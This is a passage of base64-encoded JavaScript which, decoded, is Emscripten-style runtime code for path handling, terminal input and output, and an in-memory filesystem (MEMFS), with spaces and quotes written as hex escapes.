WVudHMsMCk7cmV0dXJuXHgyMFBBVEgubm9ybWFsaXplKHBhdGhzLmpvaW4oXHgyMi9ceDIyKSl9KSxqb2luMjooZnVuY3Rpb24obCxyKXtyZXR1cm5ceDIwUEFUSC5ub3JtYWxpemUobCtceDIyL1x4MjIrcil9KSxyZXNvbHZlOihmdW5jdGlvbigpe3Zhclx4MjByZXNvbHZlZFBhdGg9XHgyMlx4MjIscmVzb2x2ZWRBYnNvbHV0ZT1mYWxzZTtmb3IodmFyXHgyMGk9YXJndW1lbnRzLmxlbmd0aC0xO2k+PS0xJiYhcmVzb2x2ZWRBYnNvbHV0ZTtpLS0pe3Zhclx4MjBwYXRoPWk+PTA/YXJndW1lbnRzW2ldOkZTLmN3ZCgpO2lmKHR5cGVvZlx4MjBwYXRoIT09XHgyMnN0cmluZ1x4MjIpe3Rocm93XHgyMG5ld1x4MjBUeXBlRXJyb3IoXHgyMkFyZ3VtZW50c1x4MjB0b1x4MjBwYXRoLnJlc29sdmVceDIwbXVzdFx4MjBiZVx4MjBzdHJpbmdzXHgyMil9ZWxzZVx4MjBpZighcGF0aCl7cmV0dXJuXHgyMlx4MjJ9cmVzb2x2ZWRQYXRoPXBhdGgrXHgyMi9ceDIyK3Jlc29sdmVkUGF0aDtyZXNvbHZlZEFic29sdXRlPXBhdGguY2hhckF0KDApPT09XHgyMi9ceDIyfXJlc29sdmVkUGF0aD1QQVRILm5vcm1hbGl6ZUFycmF5KHJlc29sdmVkUGF0aC5zcGxpdChceDIyL1x4MjIpLmZpbHRlcigoZnVuY3Rpb24ocCl7cmV0dXJuISFwfSkpLCFyZXNvbHZlZEFic29sdXRlKS5qb2luKFx4MjIvXHgyMik7cmV0dXJuKHJlc29sdmVkQWJzb2x1dGU/XHgyMi9ceDIyOlx4MjJceDIyKStyZXNvbHZlZFBhdGh8fFx4MjIuXHgyMn0pLHJlbGF0aXZlOihmdW5jdGlvbihmcm9tLHRvKXtmcm9tPVBBVEgucmVzb2x2ZShmcm9tKS5zdWJzdHIoMSk7dG89UEFUSC5yZXNvbHZlKHRvKS5zdWJzdHIoMSk7ZnVuY3Rpb25ceDIwdHJpbShhcnIpe3Zhclx4MjBzdGFydD0wO2Zvcig7c3RhcnQ8YXJyLmxlbmd0aDtzdGFydCsrKXtpZihhcnJbc3RhcnRdIT09XHgyMlx4MjIpYnJlYWt9dmFyXHgyMGVuZD1hcnIubGVuZ3RoLTE7Zm9yKDtlbmQ+PTA7ZW5kLS0pe2lmKGFycltlbmRdIT09XHgyMlx4MjIpYnJlYWt9aWYoc3RhcnQ+ZW5kKXJldHVybltdO3JldHVyblx4MjBhcnIuc2xpY2Uoc3RhcnQsZW5kLXN0YXJ0KzEpfXZhclx4MjBmcm9tUGFydHM9dHJpbShmcm9tLnNwbGl0KFx4MjIvXHgyMikpO3Zhclx4MjB0b1BhcnRzPXRyaW0odG8uc3BsaXQoXHgyMi9ceDIyKSk7dmFyXHgyMGxlbmd0aD1NYXRoLm1pbihmcm9tUGFydHMubGVuZ3RoLHRvUGFydHMubGVuZ3RoKTt2YXJceDIwc2FtZVBhcnRzTGVuZ3RoPWxlbmd0aDtmb3IodmFyXHgyMGk9MDtpPGxlbmd0aDtpKyspe2lmKGZyb21QYXJ0c1tpXSE9PXRvUGFydHNbaV0pe3NhbWVQYXJ0c0xlbmd0aD1pO2JyZWFrfX12YXJceDIwb3V0cHV0UGFydHM9W107Zm9yKHZhclx4MjBpPXNhbWVQYXJ0c0xlbmd0aDtpPGZyb21QYXJ0cy5sZW5ndGg7aSsrKXtvdXRwdXRQYXJ0cy5wdXNoKFx4MjIuLlx4MjIpfW91dHB1dFBhcnRzPW91dHB1dFBhcnRzLmNvbmNhdCh0b1BhcnRzLnNsaWNlKHNhbWVQYXJ0c0xlbmd0aCkpO3JldHVyblx4MjBvdXRwdXRQYXJ0cy5qb2luKFx4MjIvXHgyMil9KX07dmFyXHgyMFRUWT17dHR5czpbXSxpbml0OihmdW5jdGlvbigpe30pLHNodXRkb3duOihmdW5jdGlvbigpe30pLHJlZ2lzdGVyOihmdW5jdGlvbihkZXYsb3BzKXtUVFkudHR5c1tkZXZdPXtpbnB1dDpbXSxvdXRwdXQ6W10sb3BzOm9wc307RlMucmVnaXN0ZXJEZXZpY2UoZGV2LFRUWS5zdHJlYW1fb3BzKX0pLHN0cmVhbV9vcHM6e29wZW46KGZ1bmN0aW9uKHN0cmVhbSl7dmFyXHgyMHR0eT1UVFkudHR5c1tzdHJlYW0ubm9kZS5yZGV2XTtpZighdHR5KXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9ERVYpfXN0cmVhbS50dHk9dHR5O3N0cmVhbS5zZWVrYWJsZT1mYWxzZX0pLGNsb3NlOihmdW5jdGlvbihzdHJlYW0pe3N0cmVhbS50dHkub3BzLmZsdXNoKHN0cmVhbS50dHkpfSksZmx1c2g6KGZ1bmN0aW9uKHN0cmVhbSl7c3RyZWFtLnR0eS5vcHMuZmx1c2goc3RyZWFtLnR0eSl9KSxyZWFkOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zKXtpZighc3RyZWFtLnR0eXx8IXN0cmVhbS50dHkub3BzLmdldF9jaGFyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTlhJTyl9dmFyXHgyMGJ5dGVzUmVhZD0wO2Zvcih2YXJceDIwaT0wO2k8bGVuZ3RoO2krKyl7dmFyXHgyMHJlc3VsdDt0cnl7cmVzdWx0PXN0cmVhbS50dHkub3BzLmdldF9jaGFyKHN0cmVhbS50dHkpfWNhdGNoKGUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTyl9aWYocmVzdWx0PT09dW5kZWZpbmVkJiZieXRlc1JlYWQ9PT0wKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FQUdBSU4pfWlmKHJlc3VsdD09PW51bGx8fHJlc3VsdD09PXVuZGVmaW5lZClicmVhaztieXRlc1JlYWQrKztidWZmZXJbb2Zmc2V0K2ldPXJlc3VsdH1pZihieXRlc1JlYWQpe3N0cmVhbS5ub2RlLnRpbWVzdGFtcD1EYXRlLm5vdygpfXJldHVyblx4MjBieXRlc1JlYWR9KSx3cml0ZTooZnVuY3Rpb24oc3RyZWFtLGJ1ZmZlcixvZmZzZXQsbGVuZ3RoLHBvcyl7aWYoIXN0cmVhbS50dHl8fCFzdHJlYW0udHR5Lm9wcy5wdXRfY2hhcil7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRU5YSU8pfWZvcih2YXJceDIwaT0wO2k8bGVuZ3RoO2krKyl7dHJ5e3N0cmVhbS50dHkub3BzLnB1dF9jaGFyKHN0cmVhbS50dHksYnVmZmVyW29mZnNldCtpXSl9Y2F0Y2goZSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUlPKX19aWYobGVuZ3RoKXtzdHJlYW0ubm9kZS50aW1lc3RhbXA9RGF0ZS5ub3coKX1yZXR1cm5ceDIwaX0pfSxkZWZhdWx0X3R0eV9vcHM6e2dldF9jaGFyOihmdW5jdGlvbih0dHkpe2lmKCF0dHkuaW5wdXQubGVuZ3RoKXt2YXJceDIwcmVzdWx0PW51bGw7aWYoRU5WSVJPTk1FTlRfSVNfTk9ERSl7dmFyXHgyMEJVRlNJWkU9MjU2O3Zhclx4MjBidWY9bmV3XHgyMEJ1ZmZlcihCVUZTSVpFKTt2YXJceDIwYnl0ZXNSZWFkPTA7dmFyXHgyMGlzUG9zaXhQbGF0Zm9ybT1wcm9jZXNzLnBsYXRmb3JtIT1ceDIyd2luMzJceDIyO3Zhclx4MjBmZD1wcm9jZXNzLnN0ZGluLmZkO2lmKGlzUG9zaXhQbGF0Zm9ybSl7dmFyXHgyMHVzaW5nRGV2aWNlPWZhbHNlO3RyeXtmZD1mcy5vcGVuU3luYyhceDIyL2Rldi9zdGRpblx4MjIsXHgyMnJceDIyKTt1c2luZ0RldmljZT10cnVlfWNhdGNoKGUpe319dHJ5e2J5dGVzUmVhZD1mcy5yZWFkU3luYyhmZCxidWYsMCxCVUZTSVpFLG51bGwpfWNhdGNoKGUpe2lmKGUudG9TdHJpbmcoKS5pbmRleE9mKFx4MjJFT0ZceDIyKSE9LTEpYnl0ZXNSZWFkPTA7ZWxzZVx4MjB0aHJvd1x4MjBlfWlmKHVzaW5nRGV2aWNlKXtmcy5jbG9zZVN5bmMoZmQpfWlmKGJ5dGVzUmVhZD4wKXtyZXN1bHQ9YnVmLnNsaWNlKDAsYnl0ZXNSZWFkKS50b1N0cmluZyhceDIydXRmLThceDIyKX1lbHNle3Jlc3VsdD1udWxsfX1lbHNlXHgyMGlmKHR5cGVvZlx4MjB3aW5kb3chPVx4MjJ1bmRlZmluZWRceDIyJiZ0eXBlb2ZceDIwd2luZG93LnByb21wdD09XHgyMmZ1bmN0aW9uXHgyMil7cmVzdWx0PXdpbmRvdy5wcm9tcHQoXHgyMklucHV0Olx4MjBceDIyKTtpZihyZXN1bHQhPT1udWxsKXtyZXN1bHQrPVx4MjJceDVjblx4MjJ9fWVsc2VceDIwaWYodHlwZW9mXHgyMHJlYWRsaW5lPT1ceDIyZnVuY3Rpb25ceDIyKXtyZXN1bHQ9cmVhZGxpbmUoKTtpZihyZXN1bHQhPT1udWxsKXtyZXN1bHQrPVx4MjJceDVjblx4MjJ9fWlmKCFyZXN1bHQpe3JldHVyblx4MjBudWxsfXR0eS5pbnB1dD1pbnRBcnJheUZyb21TdHJpbmcocmVzdWx0LHRydWUpfXJldHVyblx4MjB0dHkuaW5wdXQuc2hpZnQoKX0pLHB1dF9jaGFyOihmdW5jdGlvbih0dHksdmFsKXtpZih2YWw9PT1udWxsfHx2YWw9PT0xMCl7TW9kdWxlW1x4MjJwcmludFx4MjJdKFVURjhBcnJheVRvU3RyaW5nKHR0eS5vdXRwdXQsMCkpO3R0eS5vdXRwdXQ9W119ZWxzZXtpZih2YWwhPTApdHR5Lm91dHB1dC5wdXNoKHZhbCl9fSksZmx1c2g6KGZ1bmN0aW9uKHR0eSl7aWYodHR5Lm91dHB1dCYmdHR5Lm91dHB1dC5sZW5ndGg+MCl7TW9kdWxlW1x4MjJwcmludFx4MjJdKFVURjhBcnJheVRvU3RyaW5nKHR0eS5vdXRwdXQsMCkpO3R0eS5vdXRwdXQ9W119fSl9LGRlZmF1bHRfdHR5MV9vcHM6e3B1dF9jaGFyOihmdW5jdGlvbih0dHksdmFsKXtpZih2YWw9PT1udWxsfHx2YWw9PT0xMCl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFVURjhBcnJheVRvU3RyaW5nKHR0eS5vdXRwdXQsMCkpO3R0eS5vdXRwdXQ9W119ZWxzZXtpZih2YWwhPTApdHR5Lm91dHB1dC5wdXNoKHZhbCl9fSksZmx1c2g6KGZ1bmN0aW9uKHR0eSl7aWYodHR5Lm91dHB1dCYmdHR5Lm91dHB1dC5sZW5ndGg+MCl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFVURjhBcnJheVRvU3RyaW5nKHR0eS5vdXRwdXQsMCkpO3R0eS5vdXRwdXQ9W119fSl9fTt2YXJceDIwTUVNRlM9e29wc190YWJsZTpudWxsLG1vdW50OihmdW5jdGlvbihtb3VudCl7cmV0dXJuXHgyME1FTUZTLmNyZWF0ZU5vZGUobnVsbCxceDIyL1x4MjIsMTYzODR8NTExLDApfSksY3JlYXRlTm9kZTooZnVuY3Rpb24ocGFyZW50LG5hbWUsbW9kZSxkZXYpe2lmKEZTLmlzQmxrZGV2KG1vZGUpfHxGUy5pc0ZJRk8obW9kZSkpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVQRVJNKX1pZighTUVNRlMub3BzX3RhYmxlKXtNRU1GUy5vcHNfdGFibGU9e2Rpcjp7bm9kZTp7Z2V0YXR0cjpNRU1GUy5ub2RlX29wcy5nZXRhdHRyLHNldGF0dHI6TUVNRlMubm9kZV9vcHMuc2V0YXR0cixsb29rdXA6TUVNRlMubm9kZV9vcHMubG9va3VwLG1rbm9kOk1FTUZTLm5vZGVfb3BzLm1rbm9kLHJlbmFtZTpNRU1GUy5ub2RlX29wcy5yZW5hbWUsdW5saW5rOk1FTUZTLm5vZGVfb3BzLnVubGluayxybWRpcjpNRU1GUy5ub2RlX29wcy5ybWRpcixyZWFkZGlyOk1FTUZTLm5vZGVfb3BzLnJlYWRkaXIsc3ltbGluazpNRU1GUy5ub2RlX29wcy5zeW1saW5rfSxzdHJlYW06e2xsc2VlazpNRU1GUy5zdHJlYW1fb3BzLmxsc2Vla319LGZpbGU6e25vZGU6e2dldGF0dHI6TUVNRlMubm9kZV9vcHMuZ2V0YXR0cixzZXRhdHRyOk1FTUZTLm5vZGVfb3BzLnNldGF0dHJ9LHN0cmVhbTp7bGxzZWVrOk1FTUZTLnN0cmVhbV9vcHMubGxzZWVrLHJlYWQ6TUVNRlMuc3RyZWFtX29wcy5yZWFkLHdyaXRlOk1FTUZTLnN0cmVhbV9vcHMud3JpdGUsYWxsb2NhdGU6TUVNRlMuc3RyZWFtX29wcy5hbGxvY2F0ZSxtbWFwOk1FTUZTLnN0cmVhbV9vcHMubW1hcCxtc3luYzpNRU1GUy5zdHJlYW1fb3BzLm1zeW5jfX0sbGluazp7bm9kZTp7Z2V0YXR0cjpNRU1GUy5ub2RlX29wcy5nZXRhdHRyLHNldGF0dHI6TUVNRlMubm9kZV9vcHMuc2V0YXR0cixyZWFkbGluazpNRU1GUy5ub2RlX29wcy5yZWFkbGlua30sc3RyZWFtOnt9fSxjaHJkZXY6e25vZGU6e2dldGF0dHI6TUVNRlMubm9kZV9vcHMuZ2V0YXR0cixzZXRhdHRyOk1FTUZTLm5vZGVfb3BzLnNldGF0dHJ9LHN0cmVhbTpGUy5jaHJkZXZfc3RyZWFtX29wc319fXZhclx4MjBub2RlPUZTLmNyZWF0ZU5vZGUocGFyZW50LG5hbWUsbW9kZSxkZXYpO2lmKEZTLmlzRGlyKG5vZGUubW9kZSkpe25vZGUubm9kZV9vcHM9TUVNRlMub3BzX3RhYmxlLmRpci5ub2RlO25vZGUuc3RyZWFtX29wcz1NRU1GUy5vcHNfdGFibGUuZGlyLnN0cmVhbTtub2RlLmNvbnRlbnRzPXt9fWVsc2VceDIwaWYoRlMuaXNGaWxlKG5vZGUubW9kZSkpe25vZGUubm9kZV9vcHM9TUVNRlMub3BzX3RhYmxlLmZpbGUubm9kZTtub2RlLnN0cmVhbV9vcHM9TUVNRlMub3BzX3RhYmxlLmZpbGUuc3RyZWFtO25vZGUudXNlZEJ5dGVzPTA7bm9kZS5jb250ZW50cz1udWxsfWVsc2VceDIwaWYoRlMuaXNMaW5rKG5vZGUubW9kZSkpe25vZGUubm9kZV9vcHM9TUVNRlMub3BzX3RhYmxlLmxpbmsubm9kZTtub2RlLnN0cmVhbV9vcHM9TUVNRlMub3BzX3RhYmxlLmxpbmsuc3RyZWFtfWVsc2VceDIwaWYoRlMuaXNDaHJkZXYobm9kZS5tb2RlKSl7bm9kZS5ub2RlX29wcz1NRU1GUy5vcHNfdGFibGUuY2hyZGV2Lm5vZGU7bm9kZS5zdHJlYW1fb3BzPU1FTUZTLm9wc190YWJsZS5jaHJkZXYuc3RyZWFtfW5vZGUudGltZXN0YW1wPURhdGUubm93KCk7aWYocGFyZW50KXtwYXJlbnQuY29udGVudHNbbmFtZV09bm9kZX1yZXR1cm5ceDIwbm9kZX0pLGdldEZpbGVEYXRhQXNSZWd1bGFyQXJyYXk6KGZ1bmN0aW9uKG5vZGUpe2lmKG5vZGUuY29udGVudHMmJm5vZGUuY29udGVudHMuc3ViYXJyYXkpe3Zhclx4MjBhcnI9W107Zm9yKHZhclx4MjBpPTA7aTxub2RlLnVzZWRCeXRlczsrK2kpYXJyLnB1c2gobm9kZS5jb250ZW50c1tpXSk7cmV0dXJuXHgyMGFycn1yZXR1cm5ceDIwbm9kZS5jb250ZW50c30pLGdldEZpbGVEYXRhQXNUeXBlZEFycmF5OihmdW5jdGlvbihub2RlKXtpZighbm9kZS5jb250ZW50cylyZXR1cm5ceDIwbmV3XHgyMFVpbnQ4QXJyYXk7aWYobm9kZS5jb250ZW50cy5zdWJhcnJheSlyZXR1cm5ceDIwbm9kZS5jb250ZW50cy5zdWJhcnJheSgwLG5vZGUudXNlZEJ5dGVzKTtyZXR1cm5ceDIwbmV3XHgyMFVpbnQ4QXJyYXkobm9kZS5jb250ZW50cyl9KSxleHBhbmRGaWxlU3RvcmFnZTooZnVuY3Rpb24obm9kZSxuZXdDYXBhY2l0eSl7aWYobm9kZS5jb250ZW50cyYmbm9kZS5jb250ZW50cy5zdWJhcnJheSYmbmV3Q2FwYWNpdHk+bm9kZS5jb250ZW50cy5sZW5ndGgpe25vZGUuY29udGVudHM9TUVNRlMuZ2V0RmlsZURhdGFBc1JlZ3VsYXJBcnJheShub2RlKTtub2RlLnVzZWRCeXRlcz1ub2RlLmNvbnRlbnRzLmxlbmd0aH1pZighbm9kZS5jb250ZW50c3x8bm9kZS5jb250ZW50cy5zdWJhcnJheSl7dmFyXHgyMHByZXZDYXBhY2l0eT1ub2RlLmNvbnRlbnRzP25vZGUuY29udGVudHMubGVuZ3RoOjA7aWYocHJldkNhcGFjaXR5Pj1uZXdDYXBhY2l0eSlyZXR1cm47dmFyXHgyMENBUEFDSVRZX0RPVUJMSU5HX01BWD0xMDI0KjEwMjQ7bmV3Q2FwYWNpdHk9TWF0aC5tYXgobmV3Q2FwYWNpdHkscHJldkNhcGFjaXR5KihwcmV2Q2FwYWNpdHk8Q0FQQUNJVFlfRE9VQkxJTkdfTUFYPzI6MS4xMjUpfDApO2lmKHByZXZDYXBhY2l0eSE9MCluZXdDYXBhY2l0eT1NYXRoLm1heChuZXdDYXBhY2l0eSwyNTYpO3Zhclx4MjBvbGRDb250ZW50cz1ub2RlLmNvbnRlbnRzO25vZGUuY29udGVudHM9bmV3XHgyMFVpbnQ4QXJyYXkobmV3Q2FwYWNpdHkpO2lmKG5vZGUudXNlZEJ5dGVzPjApbm9kZS5jb250ZW50cy5zZXQob2xkQ29udGVudHMuc3ViYXJyYXkoMCxub2RlLnVzZWRCeXRlcyksMCk7cmV0dXJufWlmKCFub2RlLmNvbnRlbnRzJiZuZXdDYXBhY2l0eT4wKW5vZGUuY29udGVudHM9W107d2hpbGUobm9kZS5jb250ZW50cy5sZW5ndGg8bmV3Q2FwYWNpdHkpbm9kZS5jb250ZW50cy5wdXNoKDApfSkscmVzaXplRmlsZVN0b3JhZ2U6KGZ1bmN0aW9uKG5vZGUsbmV3U2l6ZSl7aWYobm9kZS51c2VkQnl0ZXM9PW5ld1NpemUpcmV0dXJuO2lmKG5ld1NpemU9PTApe25vZGUuY29udGVudHM9bnVsbDtub2RlLnVzZWRCeXRlcz0wO3JldHVybn1pZighbm9kZS5jb250ZW50c3x8bm9kZS5jb250ZW50cy5zdWJhcnJheSl7dmFyXHgyMG9sZENvbnRlbnRzPW5vZGUuY29udGVudHM7bm9kZS5jb250ZW50cz1uZXdceDIwVWludDhBcnJheShuZXdceDIwQXJyYXlCdWZmZXIobmV3U2l6ZSkpO2lmKG9sZENvbnRlbnRzKXtub2RlLmNvbnRlbnRzLnNldChvbGRDb250ZW50cy5zdWJhcnJheSgwLE1hdGgubWluKG5ld1NpemUsbm9kZS51c2VkQnl0ZXMpKSl9bm9kZS51c2VkQnl0ZXM9bmV3U2l6ZTtyZXR1cm59aWYoIW5vZGUuY29udGVudHMpbm9kZS5jb250ZW50cz1bXTtpZihub2RlLmNvbnRlbnRzLmxlbmd0aD5uZXdTaXplKW5vZGUuY29udGVudHMubGVuZ3RoPW5ld1NpemU7ZWxzZVx4MjB3aGlsZShub2RlLmNvbnRlbnRzLmxlbmd0aDxuZXdTaXplKW5vZGUuY29udGVudHMucHVzaCgwKTtub2RlLnVzZWRCeXRlcz1uZXdTaXplfSksbm9kZV9vcHM6e2dldGF0dHI6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBhdHRyPXt9O2F0dHIuZGV2PUZTLmlzQ2hyZGV2KG5vZGUubW9kZSk/bm9kZS5pZDoxO2F0dHIuaW5vPW5vZGUuaWQ7YXR0ci5tb2RlPW5vZGUubW9kZTthdHRyLm5saW5rPTE7YXR0ci51aWQ9MDthdHRyLmdpZD0wO2F0dHIucmRldj1ub2RlLnJkZXY7aWYoRlMuaXNEaXIobm9kZS5tb2RlKSl7YXR0ci5zaXplPTQwOTZ9ZWxzZVx4MjBpZihGUy5pc0ZpbGUobm9kZS5tb2RlKSl7YXR0ci5zaXplPW5vZGUudXNlZEJ5dGVzfWVsc2VceDIwaWYoRlMuaXNMaW5rKG5vZGUubW9kZSkpe2F0dHIuc2l6ZT1ub2RlLmxpbmsubGVuZ3RofWVsc2V7YXR0ci5zaXplPTB9YXR0ci5hdGltZT1uZXdceDIwRGF0ZShub2RlLnRpbWVzdGFtcCk7YXR0ci5tdGltZT1uZXdceDIwRGF0ZShub2RlLnRpbWVzdGFtcCk7YXR0ci5jdGltZT1uZXdceDIwRGF0ZShub2RlLnRpbWVzdGFtcCk7YXR0ci5ibGtzaXplPTQwOTY7YXR0ci5ibG9ja3M9TWF0aC5jZWlsKGF0dHIuc2l6ZS9hdHRyLmJsa3NpemUpO3JldHVyblx4MjBhdHRyfSksc2V0YXR0cjooZnVuY3Rpb24obm9kZSxhdHRyKXtpZihhdHRyLm1vZGUhPT11bmRlZmluZWQpe25vZGUubW9kZT1hdHRyLm1vZGV9aWYoYXR0ci50aW1lc3RhbXAhPT11bmRlZmluZWQpe25vZGUudGltZXN0YW1wPWF0dHIudGltZXN0YW1wfWlmKGF0dHIuc2l6ZSE9PXVuZGVmaW5lZCl7TUVNRlMucmVzaXplRmlsZVN0b3JhZ2Uobm9kZSxhdHRyLnNpemUpfX0pLGxvb2t1cDooZnVuY3Rpb24ocGFyZW50LG5hbWUpe3Rocm93XHgyMEZTLmdlbmVyaWNFcnJvcnNbRVJSTk9fQ09ERVMuRU5PRU5UXX0pLG1rbm9kOihmdW5jdGlvbihwYXJlbnQsbmFtZSxtb2RlLGRldil7cmV0dXJuXHgyME1FTUZTLmNyZWF0ZU5vZGUocGFyZW50LG5hbWUsbW9kZSxkZXYpfSkscmVuYW1lOihmdW5jdGlvbihvbGRfbm9kZSxuZXdfZGlyLG5ld19uYW1lKXtpZihGUy5pc0RpcihvbGRfbm9kZS5tb2RlKSl7dmFyXHgyMG5ld19ub2RlO3RyeXtuZXdfbm9kZT1GUy5sb29rdXBOb2RlKG5ld19kaXIsbmV3X25hbWUpfWNhdGNoKGUpe31pZihuZXdfbm9kZSl7Zm9yKHZhclx4MjBpXHgyMGluXHgyMG5ld19ub2RlLmNvbnRlbnRzKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9URU1QVFkpfX19ZGVsZXRlXHgyMG9sZF9ub2RlLnBhcmVudC5jb250ZW50c1tvbGRfbm9kZS5uYW1lXTtvbGRfbm9kZS5uYW1lPW5ld19uYW1lO25ld19kaXIuY29udGVudHNbbmV3X25hbWVdPW9sZF9ub2RlO29sZF9ub2RlLnBhcmVudD1uZXdfZGlyfSksdW5saW5rOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7ZGVsZXRlXHgyMHBhcmVudC5jb250ZW50c1tuYW1lXX0pLHJtZGlyOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7dmFyXHgyMG5vZGU9RlMubG9va3VwTm9kZShwYXJlbnQsbmFtZSk7Zm9yKHZhclx4MjBpXHgyMGluXHgyMG5vZGUuY29udGVudHMpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVOT1RFTVBUWSl9ZGVsZXRlXHgyMHBhcmVudC5jb250ZW50c1tuYW1lXX0pLHJlYWRkaXI6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBlbnRyaWVzPVtceDIyLlx4MjIsXHgyMi4uXHgyMl07Zm9yKHZhclx4MjBrZXlceDIwaW5ceDIwbm9kZS5jb250ZW50cyl7aWYoIW5vZGUuY29udGVudHMuaGFzT3duUHJvcGVydHkoa2V5KSl7Y29udGludWV9ZW50cmllcy5wdXNoKGtleSl9cmV0dXJuXHgyMGVudHJpZXN9KSxzeW1saW5rOihmdW5jdGlvbihwYXJlbnQsbmV3bmFtZSxvbGRwYXRoKXt2YXJceDIwbm9kZT1NRU1GUy5jcmVhdGVOb2RlKHBhcmVudCxuZXduYW1lLDUxMXw0MDk2MCwwKTtub2RlLmxpbms9b2xkcGF0aDtyZXR1cm5ceDIwbm9kZX0pLHJlYWRsaW5rOihmdW5jdGlvbihub2RlKXtpZighRlMuaXNMaW5rKG5vZGUubW9kZSkpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9cmV0dXJuXHgyMG5vZGUubGlua30pfSxzdHJlYW1fb3BzOntyZWFkOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zaXRpb24pe3Zhclx4MjBjb250ZW50cz1zdHJlYW0ubm9kZS5jb250ZW50cztpZihwb3NpdGlvbj49c3RyZWFtLm5vZGUudXNlZEJ5dGVzKXJldHVyblx4MjAwO3Zhclx4MjBzaXplPU1hdGgubWluKHN0cmVhbS5ub2RlLnVzZWRCeXRlcy1wb3NpdGlvbixsZW5ndGgpO2Fzc2VydChzaXplPj0wKTtpZihzaXplPjgmJmNvbnRlbnRzLnN1YmFycmF5KXtidWZmZXIuc2V0KGNvbnRlbnRzLnN1YmFycmF5KHBvc2l0aW9uLHBvc2l0aW9uK3NpemUpLG9mZnNldCl9ZWxzZXtmb3IodmFyXHgyMGk9MDtpPHNpemU7aSsrKWJ1ZmZlcltvZmZzZXQraV09Y29udGVudHNbcG9zaXRpb24raV19cmV0dXJuXHgyMHNpemV9KSx3cml0ZTooZnVuY3Rpb24oc3RyZWFtLGJ1ZmZlcixvZmZzZXQsbGVuZ3RoLHBvc2l0aW9uLGNhbk93bil7aWYoIWxlbmd0aClyZXR1cm5ceDIwMDt2YXJceDIwbm9kZT1zdHJlYW0ubm9kZTtub2RlLnRpbWVzdGFtcD1EYXRlLm5vdygpO2lmKGJ1ZmZlci5zdWJhcnJheSYmKCFub2RlLmNvbnRlbnRzfHxub2RlLmNvbnRlbnRzLnN1YmFycmF5KSl7aWYoY2FuT3duKXtub2RlLmNvbnRlbnRzPWJ1ZmZlci5zdWJhcnJheShvZmZzZXQsb2Zmc2V0K2xlbmd0aCk7bm9kZS51c2VkQnl0ZXM9bGVuZ3RoO3JldHVyblx4MjBsZW5ndGh9ZWxzZVx4MjBpZihub2RlLnVzZWRCeXRlcz09PTAmJnBvc2l0aW9uPT09MCl7bm9kZS5jb250ZW50cz1uZXdceDIwVWludDhBcnJheShidWZmZXIuc3ViYXJyYXkob2Zmc2V0LG9mZnNldCtsZW5ndGgpKTtub2RlLnVzZWRCeXRlcz1sZW5ndGg7cmV0dXJuXHgyMGxlbmd0aH1lbHNlXHgyMGlmKHBvc2l0aW9uK2xlbmd0aDw9bm9kZS51c2VkQnl0ZXMpe25vZGUuY29udGVudHMuc2V0KGJ1ZmZlci5zdWJhcnJheShvZmZzZXQsb2Zmc2V0K2xlbmd0aCkscG9zaXRpb24pO3JldHVyblx4MjBsZW5ndGh9fU1FTUZTLmV4cGFuZEZpbGVTdG9yYWdlKG5vZGUscG9zaXRpb24rbGVuZ3RoKTtpZihub2RlLmNvbnRlbnRzLnN1YmFycmF5JiZidWZmZXIuc3ViYXJyYXkpbm9kZS5jb250ZW50cy5zZXQoYnVmZmVyLnN1YmFycmF5KG9mZnNldCxvZmZzZXQrbGVuZ3RoKSxwb3NpdGlvbik7ZWxzZXtmb3IodmFyXHgyMGk9MDtpPGxlbmd0aDtpKyspe25vZGUuY29udGVudHNbcG9zaXRpb24raV09YnVmZmVyW29mZnNldCtpXX19bm9kZS51c2VkQnl0ZXM9TWF0aC5tYXgobm9kZS51c2VkQnl0ZXMscG9zaXRpb24rbGVuZ3RoKTtyZXR1cm5ceDIwbGVuZ3RofSksbGxzZWVrOihmdW5jdGlvbihzdHJlYW0sb2Zmc2V0LHdoZW5jZSl7dmFyXHgyMHBvc2l0aW9uPW9mZnNldDtpZih3aGVuY2U9PT0xKXtwb3NpdGlvbis9c3RyZWFtLnBvc2l0aW9ufWVsc2VceDIwaWYod2hlbmNlPT09Mil7aWYoRlMuaXNGaWxlKHN0cmVhbS5ub2RlLm1vZGUpKXtwb3NpdGlvbis9c3RyZWFtLm5vZGUudXNlZEJ5dGVzfX1pZihwb3NpdGlvbjwwKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSU5WQUwpfXJldHVyblx4MjBwb3NpdGlvbn0pLGFsbG9jYXRlOihmdW5jdGlvbihzdHJlYW0sb2Zmc2V0LGxlbmd0aCl7TUVNRlMuZXhwYW5kRmlsZVN0b3JhZ2Uoc3RyZWFtLm5vZGUsb2Zmc2V0K2xlbmd0aCk7c3RyZWFtLm5vZGUudXNlZEJ5dGVzPU1hdGgubWF4KHN0cmVhbS5ub2RlLnVzZWRCeXRlcyxvZmZzZXQrbGVuZ3RoKX0pLG1tYXA6KGZ1bmN0aW9uKHN0cmVhbSxidWZmZXIsb2